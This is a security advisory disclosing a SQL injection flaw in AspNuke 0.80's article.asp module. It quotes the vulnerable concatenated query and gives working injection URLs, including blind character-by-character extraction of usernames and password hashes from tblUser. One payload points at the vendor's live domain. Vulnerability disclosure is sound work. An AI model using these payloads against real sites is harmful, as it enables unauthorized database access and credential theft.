1) Advisory information

<table>
<thead>
<tr>
<th>Title</th>
<th>ASP Nuke Sql Injection Vulnerability</th>
</tr>
</thead>
<tbody>
<tr>
<td>Affected</td>
<td>AspNuke 0.80</td>
</tr>
<tr>
<td>Discovery</td>
<td><a href="http://www.abysssec.com">www.abysssec.com</a></td>
</tr>
<tr>
<td>Vendor</td>
<td><a href="http://www.aspnuke.com">http://www.aspnuke.com</a></td>
</tr>
<tr>
<td>Impact</td>
<td>Critical</td>
</tr>
<tr>
<td>Contact</td>
<td>shahin [at] abysssec.com, info [at] abysssec.com</td>
</tr>
<tr>
<td>Twitter</td>
<td>@abysssec</td>
</tr>
</tbody>
</table>

2) Vulnerability Information

Class

1- SQL Injection

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Remotely Exploitable

Yes

Locally Exploitable

No
3) Vulnerabilities detail

1- SQL Injection:

Vulnerable Code in.../module/article/article/article.asp:

Ln 37:
```sql
sStat = "SELECT art.ArticleID, art.Title, art.ArticleBody, " &_
" auth.FirstName, auth.LastName, " &_
" cat.CategoryName, art.CommentCount, " &_
" art.Created " &_
" FROM tblArticle art " &_
" INNER JOIN tblArticleAuthor auth ON art.AuthorID = auth.AuthorID " &_
" INNER JOIN tblArticleToCategory atc ON atc.ArticleID = art.ArticleID " &_
" INNER JOIN tblArticleCategory cat ON atc.CategoryID = cat.CategoryID " &_
" WHERE art.ArticleID = " & steForm("articleid") & " &_
" AND art.Active <> 0 " &_
" AND art.Archive = 0"
```

Considering to the code, you can browse these URLs:

<table>
<thead>
<tr>
<th>URL</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://www.site.com/module/article/article/article.asp?articleid=7">http://www.site.com/module/article/article/article.asp?articleid=7</a>'</td>
<td>(the false Query will be shown)</td>
</tr>
<tr>
<td><a href="http://www.site.com/module/article/article/article.asp?articleid=7+and+'a'='a'--">http://www.site.com/module/article/article/article.asp?articleid=7+and+'a'='a'--</a></td>
<td>(this Query is always true)</td>
</tr>
</tbody>
</table>

With the following URL you can find the first character of Username:

- http://www.aspnuke.com/module/article/article/article.asp?articleid=7+and+'a'=(select+SUBSTRING(Username,1,1)+from+tblUser)--

And second character:

- http://www.site.com/module/article/article/article.asp?articleid=7+and+'a'=(select+SUBSTRING(Username,2,1)+from+tblUser)--

And so on.

So you gain Admin's information like this:

- **Username**: admin
- **Password**: (sha256 hash)

Which the Password was encrypted by SHA algorithm using .../lib/sha256.asp file.